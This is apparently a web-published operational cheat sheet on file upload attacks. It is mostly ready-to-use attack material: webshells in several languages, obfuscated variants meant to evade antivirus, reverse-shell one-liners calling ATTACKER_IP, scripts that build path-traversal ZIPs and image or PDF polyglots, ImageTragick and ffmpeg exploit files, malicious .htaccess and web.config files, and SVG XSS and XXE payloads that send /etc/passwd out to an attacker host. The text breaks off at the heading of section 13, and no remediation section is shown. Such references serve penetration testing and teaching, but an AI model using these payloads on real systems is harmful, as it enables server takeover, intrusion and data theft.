ᛉ Yggdrasil

Web

File Upload Attacks

15 Sep 2026 · 6,816 words · 31 min

Contents

A complete operational reference for File Upload vulnerabilities covering attack taxonomy, extension bypasses, MIME & magic byte spoofing, content validation bypass, webshell payloads, polyglot files, client-side & server-side bypass, second-order execution, cloud & framework-specific quirks, automated tools, and remediation. Mapped to MITRE ATT&CK T1190 / T1105 / T1059.


1. Core Concepts & Attack Types

FILE UPLOAD ATTACK TAXONOMY:

FILE UPLOAD VULNERABILITIES
├── DIRECT RCE (upload and execute)
│   ├── Webshell upload → code execution via HTTP request
│   ├── Reverse shell script upload → direct callback
│   └── Binary upload (ELF / EXE) → execute if server runs it
│
├── CLIENT-SIDE ATTACKS (served to other users)
│   ├── HTML / JS upload → stored XSS
│   ├── SVG upload → stored XSS via inline script
│   └── HTML injection via filename
│
├── SERVER-SIDE ATTACKS (non-execution)
│   ├── Path traversal → overwrite arbitrary files
│   ├── XXE via SVG / XML / DOCX upload
│   ├── SSRF via SVG/XML external entities
│   └── DoS via zip bomb / large file / recursive archive
│
├── SECOND-ORDER EXECUTION
│   ├── Stored file processed later by cron / batch job
│   ├── File renamed and later included by another function
│   └── ImageMagick / ffmpeg processing pipeline injection
│
└── METADATA / STEGANOGRAPHY ATTACKS
    ├── Exif data → XSS or code in metadata fields
    ├── Polyglot file → valid image + embedded code
    └── Zip slip → path traversal inside archive

Key Terms: - Webshell — a script uploaded to a server that accepts OS commands via HTTP parameters and returns output. - Extension Bypass — tricking the server into executing a file by using an alternative or obfuscated extension. - MIME Type — the Content-Type header value sent with the upload; often validated client-side or server-side. - Magic Bytes — the first few bytes of a file that identify its format (e.g. FF D8 FF = JPEG). Used by file-type libraries. - Polyglot — a file that is simultaneously valid in two formats (e.g. a valid JPEG that also contains PHP code). - Path Traversal — using ../ sequences in a filename to write the file outside the intended upload directory. - Zip Slip — path traversal inside a ZIP/TAR archive — extracting files to arbitrary locations on the server. - Second-Order — upload is accepted harmlessly, but a later server process (resize, scan, parse) triggers execution. - Race Condition — file is uploaded and briefly exists before validation/deletion; exploit the window to trigger execution. - Content Disposition — HTTP header controlling how a file is served (inline vs. attachment); misconfiguration leads to XSS.


2. Reconnaissance & Fingerprinting

2.1 Identifying the Upload Mechanism

Things to map before attacking:
→ What file types does the UI claim to accept?
→ Is there client-side validation (HTML accept= attribute, JS checks)?
→ What is the upload endpoint? (GET the form, inspect action= attribute)
→ What HTTP method? (POST, PUT, PATCH?)
→ Is the filename reflected anywhere (in response, in redirect URL)?
→ Where does the uploaded file get stored / served from?
→ Is the file served from the same domain or a separate one?
→ Is the file renamed by the server or kept as-is?
→ What web server / framework is running? (X-Powered-By, Server header)
→ What language handles uploads? (PHP, ASP, JSP, Node, Python…)

2.2 Fingerprinting the Backend

# Response headers leak the stack
curl -I http://target.com/upload
# Watch for:
# Server: Apache/2.4.41
# X-Powered-By: PHP/7.4.3
# X-AspNet-Version: 4.0.30319

# Wappalyzer (browser extension) auto-detects stack
# Whatweb CLI
whatweb http://target.com

# Nikto — scans for upload-related vulns
nikto -h http://target.com

# Check what the file URL looks like after upload
# /uploads/avatar.jpg → Apache, static serving
# /files/abc123       → abstracted, check Content-Type on download
# /cdn.target.com/    → CDN — different execution context

2.3 Mapping Validation Layers

Test each layer independently to understand what is actually enforced:

Layer Where it lives How to test / bypass
accept= attribute HTML form Remove with DevTools / intercept with Burp
JS validation Browser Disable JS / intercept after submission
Content-Type header HTTP request Modify in Burp Repeater
Extension check Server-side code Try alternative extensions
Magic bytes check Server-side library Prepend valid magic bytes
File content scan (AV) Server-side Obfuscate payload
Storage path Server config Path traversal in filename
Execution policy Web server config Check if upload dir has PHP/CGI disabled

2.4 Locating the Upload Directory

# After a successful upload, the URL reveals the path
# Example: http://target.com/uploads/profile/image.jpg
# → /uploads/profile/ is web-accessible and keeps original name

# Brute-force common upload directories
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt
feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Common upload paths:
# /uploads/      /upload/       /files/        /media/
# /images/       /img/          /static/       /assets/
# /data/         /temp/         /tmp/          /user_data/
# /avatars/      /profile/      /attachments/

# Check if direct file access triggers execution
curl http://target.com/uploads/test.php
# → PHP executed: output of phpinfo() or shell → vulnerable
# → Plain text returned: execution disabled → pivot to other attacks

3. Extension Bypass Techniques

3.1 PHP Extension Variants

When php is blacklisted, try these alternatives — which one works depends on the server config:

php        php2       php3       php4       php5
php6       php7       phtml      phar       phps
pht        pgif       shtml      phtm       php.jpg
.php#.png  .php%00.png (null byte — older PHP)

3.2 ASP / ASPX Extension Variants

asp        aspx       asa        asax       ascx
ashx       asmx       cer        config     soap

3.3 JSP Extension Variants

jsp        jspx       jspf       jsw        jsv
jtml

3.4 ColdFusion / Other

cfm        cfml       cfc        dbm

3.5 Case Manipulation

# Servers doing case-sensitive extension checks:
shell.PHP        shell.PhP       shell.pHp
shell.PHTML      shell.Phtml     shell.PHtml

3.6 Double Extension

shell.php.jpg        shell.jpg.php
shell.png.php        shell.php.png
shell.php.gif        shell.gif.php

# Apache AddHandler misconfiguration — if .php handler applies to ANY
# file with .php anywhere in the name:
shell.php.xxx        shell.php.blah

# IIS — file.asp;.jpg → treated as ASP
shell.asp;.jpg
shell.aspx;.jpg

3.7 Special Character & Encoding Tricks

# Null byte (PHP < 5.3.4 — terminates string at OS level)
shell.php%00.jpg
shell.php\x00.jpg

# Trailing dot (Windows — filesystem ignores trailing dots)
shell.php.
shell.php..

# Trailing space (Windows filesystem)
shell.php (with space)

# URL encoding
shell%2Ephp       # %2E = .
shell.ph%70       # %70 = p

# Unicode / overlong encoding
shell.php (Unicode dot U+FF0E)

# Right-to-left override (RTLO) — cosmetic only, not execution
shell[U+202E]gpj.php → displays as shell.jpg but is shell.php

# Semicolon (IIS parsing)
shell.asp;anythinghere.jpg

3.8 Extension Bypass Decision Tree

Is php blocked? → Try phtml, phar, php5, php7, pht
Is the check case-sensitive? → Try .PHP, .PhP, .pHtml
Is it a blacklist? → Find unchecked extension in AddHandler list
Is it a whitelist? → Try double extension: shell.jpg.php
Is Apache + mod_mime? → shell.php.jpg if AddHandler php-script .php
Is IIS? → shell.asp;.jpg
Is nginx + PHP-FPM? → Path info: shell.jpg/x.php (if try_files misconfigured)
Is it checking filename not extension? → Use null byte, RTLO, trailing dot

4. MIME Type & Content-Type Bypass

4.1 What Gets Checked

When you upload a file, the browser sets Content-Type automatically.
The server may:
  A) Trust the Content-Type header as-is (no validation)
  B) Check only Content-Type header (bypassable in Burp)
  C) Check Content-Type AND sniff magic bytes
  D) Run a full file-type library (python-magic, fileinfo)

4.2 Changing Content-Type in Burp

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary7MA4YWx

------Boundary7MA4YWx
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg          ← Change this from application/x-php

<?php system($_GET['cmd']); ?>
------Boundary7MA4YWx--

4.3 Common MIME Types to Spoof

Spoofed As Content-Type Value
JPEG image image/jpeg
PNG image image/png
GIF image image/gif
PDF application/pdf
Plain text text/plain
ZIP archive application/zip
Word document application/msword
Octet stream application/octet-stream

4.4 Multipart Form-Data Structure Reference

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=--BOUNDARY--

----BOUNDARY--
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg

<FILE CONTENT HERE>
----BOUNDARY----

Key fields to manipulate in Burp: - filename= → extension bypass, path traversal - Content-Type: → MIME bypass - File content body → magic bytes, payload obfuscation


5. Magic Bytes & File Signature Spoofing

HOW IT WORKS:
Libraries like php-fileinfo, python-magic, and file(1) identify file types
by reading the first few bytes (magic bytes / file signature) — not the extension.
Prepend valid magic bytes to your payload to fool the check.

5.1 Common Magic Bytes

Format Magic Bytes (Hex) ASCII Representation
JPEG FF D8 FF E0 ÿØÿà
PNG 89 50 4E 47 0D 0A 1A 0A ‰PNG....
GIF87a 47 49 46 38 37 61 GIF87a
GIF89a 47 49 46 38 39 61 GIF89a
PDF 25 50 44 46 %PDF
ZIP 50 4B 03 04 PK..
RAR 52 61 72 21 1A 07 Rar!..
ELF 7F 45 4C 46 .ELF
BMP 42 4D BM
WEBP 52 49 46 46 ... 57 45 42 50 RIFF....WEBP

5.2 Prepend Magic Bytes to PHP Payload

# Method 1 — GIF89a prefix (most commonly used)
printf 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.php
# → Rename to shell.gif.php or shell.phtml depending on bypass needed

# Method 2 — JPEG magic bytes
printf '\xff\xd8\xff\xe0\n<?php system($_GET["cmd"]); ?>' > shell.php

# Method 3 — PNG magic bytes
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.php

# Method 4 — using xxd and dd
# Create a real JPEG, append PHP payload:
cp legit.jpg shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
# → If server saves as .jpg but serves without content-type enforcement, browser may execute

# Method 5 — exiftool metadata injection
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit.jpg -o shell.jpg

5.3 Verify Magic Bytes

# Check what file type is detected
file shell.jpg
# → shell.jpg: JPEG image data, JFIF standard 1.01  ← looks legit

# Hexdump to verify
xxd shell.jpg | head -5

# python-magic check (mirrors what server-side fileinfo sees)
python3 -c "import magic; print(magic.from_file('shell.jpg', mime=True))"

6. Webshell Payloads — All Languages

6.1 PHP Webshells

<!-- Minimal — single command execution -->
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>

<!-- With output sanitization for HTML display -->
<?php echo '<pre>' . htmlspecialchars(shell_exec($_GET['cmd'])) . '</pre>'; ?>

<!-- POST-based (avoids cmd showing in server logs) -->
<?php system($_POST['cmd']); ?>

<!-- Obfuscated — evades simple string matching -->
<?php $f='sys'.'tem'; $f($_GET['c']); ?>
<?php $f=base64_decode('c3lzdGVt'); $f($_GET['c']); ?>
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>

<!-- Variable function call -->
<?php $_=$_GET['f']; $_($_GET['c']); ?>

<!-- Backtick operator -->
<?php echo `{$_GET['cmd']}`; ?>

<!-- preg_replace /e (PHP < 7.0 only) -->
<?php preg_replace('/.*/e', $_GET['cmd'], ''); ?>

<!-- assert() -->
<?php assert($_GET['cmd']); ?>

<!-- Full featured mini webshell -->
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = $_REQUEST['cmd'];
    echo '<pre>';
    echo htmlspecialchars(shell_exec($cmd . ' 2>&1'));
    echo '</pre>';
}
?>

<!-- Password-protected -->
<?php if(md5($_POST['pass'])=='5f4dcc3b5aa765d61d8327deb882cf99'){system($_POST['cmd']);} ?>
<!-- password = 'password' (md5) -->

6.2 PHP Reverse Shell (One-Liners)

<?php $sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>

Tip: Use PentestMonkey's php-reverse-shell.php for a robust interactive shell.
https://github.com/pentestmonkey/php-reverse-shell

6.3 ASP / ASPX Webshells

<!-- Classic ASP (.asp) -->
<%
Dim cmd, oShell, output
cmd = Request.QueryString("cmd")
Set oShell = CreateObject("WScript.Shell")
output = oShell.Exec(cmd).StdOut.ReadAll
Response.Write("<pre>" & output & "</pre>")
%>

<!-- Short form -->
<% eval request("cmd") %>
<% execute(request("cmd")) %>
<!-- ASP.NET (.aspx) -->
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e) {
        string cmd = Request.QueryString["cmd"];
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.Start();
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    }
</script>

<!-- Minimal ASPX -->
<%@ Page Language="C#"%><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]);%>

6.4 JSP Webshells

<!-- JSP (.jsp) -->
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process proc = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
    StringBuilder sb = new StringBuilder();
    String line;
    while((line = br.readLine()) != null) sb.append(line).append("\n");
    out.println("<pre>" + sb.toString() + "</pre>");
}
%>

<!-- Minimal JSP -->
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

<!-- JSP with error stream -->
<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
out.println(new java.util.Scanner(p.getInputStream()).useDelimiter("\\A").next());
%>

6.5 Python (WSGI / CGI) Webshells

# CGI Python webshell (if CGI enabled — .py or .cgi)
#!/usr/bin/env python3
import os, cgi
print("Content-Type: text/html\n")
form = cgi.FieldStorage()
cmd = form.getvalue("cmd", "id")
print("<pre>" + os.popen(cmd).read() + "</pre>")

6.6 Perl CGI Webshell

#!/usr/bin/perl
use CGI qw(:standard);
print header();
my $cmd = param('cmd');
print "<pre>" . `$cmd` . "</pre>";

6.7 Node.js Webshell (if .js files are executed)

// Express route injection or direct .js execution
const http = require('http');
const { execSync } = require('child_process');

http.createServer((req, res) => {
  const url = new URL(req.url, 'http://x');
  const cmd = url.searchParams.get('cmd') || 'id';
  res.end(execSync(cmd).toString());
}).listen(3000);

6.8 Webshell Usage

# Trigger webshell after upload
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=cat%20/etc/passwd"
curl "http://target.com/uploads/shell.php?cmd=which%20python3"

# URL-encode special characters
curl -G "http://target.com/uploads/shell.php" --data-urlencode "cmd=cat /etc/shadow"

# POST-based shell
curl -X POST "http://target.com/uploads/shell.php" -d "cmd=id"

# Upgrade to reverse shell via webshell
curl -G "http://target.com/uploads/shell.php" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

7. Content Validation & Size Bypass

7.1 Bypassing Image Dimension Checks

Some apps use getimagesize() (PHP) or PIL/Pillow to verify the file is a real image:

# Method 1 — Inject PHP into a real image's comment/EXIF
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# → getimagesize() passes (real JPEG structure)
# → If server saves as .php or processes via include(), code executes

# Method 2 — Append to real image
cat real.jpg <(echo '<?php system($_GET["cmd"]); ?>') > shell.jpg

# Method 3 — Create minimal valid JPEG with embedded PHP
# GD library (PHP) creates a real GD image with injected comment:
python3 -c "
data = open('real.jpg','rb').read()
payload = b'<?php system(\$_GET[\"cmd\"]); ?>'
with open('shell.jpg','wb') as f:
    f.write(data + payload)
"

7.2 Bypassing File Size Limits

# Minimal webshells (< 30 bytes):
<?=`$_GET[c]`?>           # 18 bytes — PHP short tag + backtick
<?=system($_GET[c])?>     # 23 bytes
<?php system($_GET[c]);   # 27 bytes (no closing tag needed)

# If there's a max size check, minimize your payload
# then escalate from the webshell later

7.3 Bypassing Content Inspection (AV / YARA)

<!-- Obfuscation techniques to evade content scanners -->

<!-- Base64 eval -->
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?>
# base64('system($_GET[\'c\']);')

<!-- String concatenation -->
<?php $a='sys'; $b='tem'; $c=$a.$b; $c($_GET['c']); ?>

<!-- Hex encoding -->
<?php $f="\x73\x79\x73\x74\x65\x6d"; $f($_GET['c']); ?>

<!-- ROT13 -->
<?php $f=str_rot13('flfgrz'); $f($_GET['c']); ?>

<!-- Variable variables -->
<?php $$_='system'; $_($__GET['c']); ?>

<!-- chr() construction -->
<?php $f=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $f($_GET['c']); ?>

<!-- Reverse string -->
<?php $f=strrev('metsys'); $f($_GET['c']); ?>

<!-- Compressed / encoded -->
<?php eval(gzinflate(base64_decode('...'))); ?>

8. Path Traversal via Upload

HOW IT WORKS:
If the server uses the client-supplied filename to build the storage path
without sanitization, a ../ sequence in the filename can write the file
to an arbitrary location on the filesystem — including the web root.

8.1 Path Traversal Payloads in Filename

# Basic traversal — escape upload directory to web root
../shell.php
../../shell.php
../../../var/www/html/shell.php

# URL-encoded
..%2Fshell.php
..%252Fshell.php       # double-encoded
..%c0%afshell.php      # Unicode overlong encoding of /

# Null byte (PHP < 5.3.4 — cuts off suffix)
../shell.php%00.jpg
../shell.php\x00.jpg

# Windows path traversal
..\shell.php
..\shell.asp
..\..\inetpub\wwwroot\shell.asp

# Overwrite critical files (destructive — CTF/lab only)
../../../etc/cron.d/evil
../../../etc/passwd
../index.php            # overwrite front page with shell

8.2 Testing Path Traversal in Burp

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Bound

------Bound
Content-Disposition: form-data; name="file"; filename="../shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Bound--

Try each traversal variant in the filename= field. After each attempt, check: - Does http://target.com/shell.php respond? - Does http://target.com/../shell.php respond? - Check error messages for path disclosure

8.3 Zip Slip — Path Traversal in Archives

HOW IT WORKS:
If the app extracts uploaded ZIP/TAR/GZ archives, a crafted archive
can contain entries with ../ paths that extract to arbitrary locations.

# Create malicious ZIP with path traversal entry
mkdir -p evil_zip
# Create the traversal payload
python3 -c "
import zipfile, io

shell = b'<?php system(\$_GET[\"cmd\"]); ?>'
zf = zipfile.ZipFile('evil.zip', 'w')
zf.writestr('../shell.php', shell)
zf.writestr('../../shell.php', shell)
zf.writestr('../../../var/www/html/shell.php', shell)
zf.close()
print('Created evil.zip')
"

# Using evilarc tool
python3 evilarc.py shell.php -o evil.zip -p ../../../var/www/html/ -d 3

# For TAR:
tar --create --file=evil.tar ../../../var/www/html/shell.php

9. Polyglot Files

HOW IT WORKS:
A polyglot file is simultaneously a valid file in two formats.
Pass the image check (magic bytes, getimagesize) AND contain executable code.
If the server saves it with a PHP/executable extension, or later include()s it,
the code executes.

9.1 JPEG + PHP Polyglot

# Append PHP to real JPEG
cp real_photo.jpg shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
# → file: JPEG image data ← passes magic byte check
# → contains PHP code at end ← executes if .php extension is forced

# More reliable: inject into JPEG comment field
python3 -c "
import struct

def make_jpeg_polyglot(output, payload):
    # Minimal JPEG with COM segment containing PHP
    jpeg_header = bytes([0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10,
                         0x4A, 0x46, 0x49, 0x46, 0x00, 0x01,
                         0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00])
    com_marker = bytes([0xFF, 0xFE])
    payload_bytes = payload.encode()
    com_length = struct.pack('>H', len(payload_bytes) + 2)
    jpeg_footer = bytes([0xFF, 0xD9])

    with open(output, 'wb') as f:
        f.write(jpeg_header + com_marker + com_length + payload_bytes + jpeg_footer)

make_jpeg_polyglot('shell.jpg', '<?php system(\$_GET[\"cmd\"]); ?>')
print('Created shell.jpg polyglot')
"

# Using exiftool (easiest approach)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' input.jpg -o polyglot.jpg

9.2 GIF + PHP Polyglot (Most Common)

# GIF magic bytes + PHP — classic combo
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
# → file: GIF image data ← passes magic check
# → rename to shell.php or upload as .php with .gif bypass

# With proper GIF structure
python3 -c "
gif_header = b'GIF89a'
gif_dims   = b'\x01\x00\x01\x00'   # 1x1 pixels
gif_meta   = b'\x00\x00\x00'
gif_body   = b'\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00'
gif_end    = b'\x3b'
php        = b'<?php system(\$_GET[\"cmd\"]); ?>'
with open('shell.gif', 'wb') as f:
    f.write(gif_header + gif_dims + gif_meta + gif_body + gif_end + php)
print('GIF+PHP polyglot created')
"

9.3 PDF + PHP Polyglot

python3 -c "
pdf_header = b'%PDF-1.4\n'
php_payload = b'<?php system(\$_GET[\"cmd\"]); ?>\n'
pdf_body = b'''
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 100 100] >>
endobj
xref
0 4
0000000000 65535 f
trailer
<< /Size 4 /Root 1 0 R >>
startxref
9
%%EOF
'''
with open('shell.pdf', 'wb') as f:
    f.write(pdf_header + php_payload + pdf_body)
print('PDF+PHP polyglot created')
"

9.4 PNG + PHP Polyglot via IDAT chunk

# Using idat-payload tool or manual chunk injection
# More complex — use exiftool approach for quick wins:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.png -o shell.png

# Then rename to shell.php or upload and hope for local include

10. Second-Order & Stored Upload Attacks

HOW IT WORKS:
The upload itself is safe — the file is stored but not executed immediately.
A secondary process later touches the file: image resize, virus scan, thumbnail
generation, archive extraction, or a require() / include() in another page.
That secondary process becomes the execution vector.

10.1 Local File Inclusion (LFI) → Webshell Execution

Scenario:
1. App accepts image upload → stores as /uploads/user_avatar.jpg
2. Another page has: include($_GET['page'] . '.php')
3. Inject PHP into image (polyglot/exif)
4. LFI to include the image: ?page=../uploads/user_avatar
→ PHP executes from the image file content
# Step 1: Upload a polyglot image with PHP payload
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# Upload shell.jpg → stored at /uploads/shell.jpg

# Step 2: Trigger via LFI
curl "http://target.com/page.php?page=../uploads/shell&cmd=id"
# → PHP parsed from EXIF comment

10.2 ImageMagick — ImageTragick (CVE-2016-3714)

Scenario: App processes uploaded images with ImageMagick (convert, identify, mogrify)
Payload embedded in image file triggers RCE during processing.
# Create malicious MVG file (ImageMagick Vector Graphics)
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF

# Disguise as image:
cp exploit.mvg exploit.jpg

# Or MSL (Magick Scripting Language) injection:
cat > exploit.msl << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_GET['cmd']); ?&gt;"/>
<write filename="/var/www/html/uploads/shell.php"/>
</image>
EOF

# Upload and trigger:
convert exploit.jpg /tmp/out.jpg   # RCE on server during processing

# Test if vulnerable:
identify -verbose exploit.jpg

10.3 ffmpeg SSRF / File Read (CVE-2016-1897/1898)

# Create malicious AVI that triggers SSRF when processed by ffmpeg
cat > evil.avi << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://ATTACKER_IP/ssrf-detected
#EXT-X-ENDLIST
EOF

# Or file read via HLS:
cat > evil.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///etc/passwd
#EXT-X-ENDLIST
EOF

10.4 Cron / Background Job Execution

Scenario:
1. App stores uploaded scripts in /uploads/scripts/
2. A cron job runs: bash /uploads/scripts/*.sh every 5 minutes
3. Upload a .sh file → cron executes it

# Upload payload:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh
# Upload shell.sh → wait for cron to fire

10.5 Template / Config File Overwrite

Scenario: App allows uploading "theme" or "config" files stored in a path
later included by the framework.

Examples:
→ .htaccess upload → change PHP handler, enable directory listing
→ web.config upload (ASP.NET) → enable script execution
→ Twig/Blade template upload → SSTI via template render
→ .env file overwrite → change DB credentials, APP_KEY
# Malicious .htaccess — make server execute .jpg as PHP
AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .png
Options +ExecCGI
AddHandler cgi-script .jpg

# Or enable PHP in upload directory (if disabled):
php_flag engine on

# Or map specific extension:
<Files "shell.jpg">
  SetHandler application/x-httpd-php
</Files>
<!-- Malicious web.config for IIS — execute .jpg as ASP.NET -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.jpg" verb="*"
              modules="IsapiModule"
              scriptProcessor="%windir%\system32\inetsrv\asp.dll"
              resourceType="Unspecified" requireAccess="Write"
              preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".jpg" />
            </fileExtensions>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>

11. XML / SVG / XXE via Upload

11.1 SVG Upload → Stored XSS

<!-- Upload as shell.svg — executes JS in victim's browser when viewed -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <circle cx="50" cy="50" r="40"/>
</svg>

<!-- SVG with script tag -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert(document.cookie)</script>
</svg>

<!-- SVG + external script load -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script href="http://ATTACKER_IP/evil.js"/>
</svg>

11.2 SVG Upload → XXE (SSRF / File Read)

<!-- Read /etc/passwd via SVG XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

<!-- SSRF via SVG XXE -->
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

<!-- OOB XXE — blind exfil via DNS -->
<!DOCTYPE svg [
  <!ENTITY % dtd SYSTEM "http://ATTACKER_IP/evil.dtd">
  %dtd;
]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&send;</text></svg>
<!-- evil.dtd hosted on attacker server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY send SYSTEM 'http://ATTACKER_IP/?x=%file;'>">
%wrap;

11.3 DOCX / XLSX / PPTX → XXE

Office documents are ZIP archives containing XML files.
Modify the XML to inject XXE payloads.
# Unzip a legitimate DOCX
cp legit.docx evil.docx
mkdir evil_docx && cd evil_docx
unzip ../evil.docx

# Edit word/document.xml — add XXE:
# Insert at top of XML after <?xml version="1.0"?>:
# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# Then reference &xxe; in body text

# Repack:
zip -r ../evil.docx .
cd .. && rm -rf evil_docx

11.4 PDF Upload → SSRF / XXE

Some PDF parsers (Apache FOP, iText) resolve external entities in PDFs:
# Malicious PDF with external entity
cat > evil.pdf << 'EOF'
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< >>
endobj
<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>
%%EOF
EOF

12. Framework & Language-Specific Attacks

12.1 Apache — .htaccess Upload

# If .htaccess files can be uploaded to the upload directory:
# Scenario A: Make .jpg files execute as PHP
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Upload .htaccess → upload shell.jpg → trigger via HTTP

# Scenario B: Re-enable PHP in a directory where it's disabled
echo 'php_flag engine on' > .htaccess

# Scenario C: Execute specific file as PHP
cat > .htaccess << 'EOF'
<Files "shell.jpg">
SetHandler application/x-httpd-php
</Files>
EOF

12.2 Nginx — try_files Misconfiguration

Nginx + PHP-FPM: if try_files is misconfigured, path info is used.
A URL like: /uploads/shell.jpg/x.php
→ Nginx passes /uploads/shell.jpg to PHP-FPM with PATH_INFO=/x.php
→ PHP executes shell.jpg as PHP code if cgi.fix_pathinfo=1

# Test:
curl http://target.com/uploads/shell.jpg/x.php?cmd=id

12.3 IIS — PUT Method Upload

# If HTTP PUT is enabled on IIS:
curl -X PUT http://target.com/shell.asp -d '<%eval request("cmd")%>'

# Or OPTIONS to check allowed methods:
curl -X OPTIONS http://target.com/ -v
# Look for: Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS

12.4 PHP — phar:// Deserialization via Upload

# If application uses phar:// wrapper on user-controlled paths:
# 1. Create a malicious PHAR with serialized payload
php -r "
\$phar = new Phar('evil.phar');
\$phar->startBuffering();
\$phar->addFromString('a.txt','test');
\$phar->setStub('<?php __HALT_COMPILER(); ?>');
\$o = new SomeVulnerableClass();
\$phar->setMetadata(\$o);
\$phar->stopBuffering();
"
# Rename to .jpg to bypass extension check
mv evil.phar evil.jpg
# Upload evil.jpg
# Trigger via: file_exists('phar:///uploads/evil.jpg')

12.5 Node.js / Express — Multer Misconfig

// Vulnerable: no file type check, stores in public directory
app.post('/upload', multer({dest: 'public/uploads/'}).single('file'), (req, res) => {
    res.json({filename: req.file.filename});
});

// If original filename is used and .js files are served via require():
// Upload shell.js → trigger execution path

12.6 Django — MEDIA_ROOT Traversal

# If filename is not sanitized before os.path.join:
filepath = os.path.join(settings.MEDIA_ROOT, filename)
# Inject: ../../templates/base.html → overwrites template

# Django's default storage sanitizes filenames, but custom storage may not

12.7 Java Servlets — JSP Upload to Deployment Path

If the app stores files inside the web application directory (WEB-INF excluded),
uploading a .jsp file grants RCE:
/var/lib/tomcat9/webapps/ROOT/uploads/shell.jsp → accessible at /uploads/shell.jsp

13. Client-Side Bypass Techniques

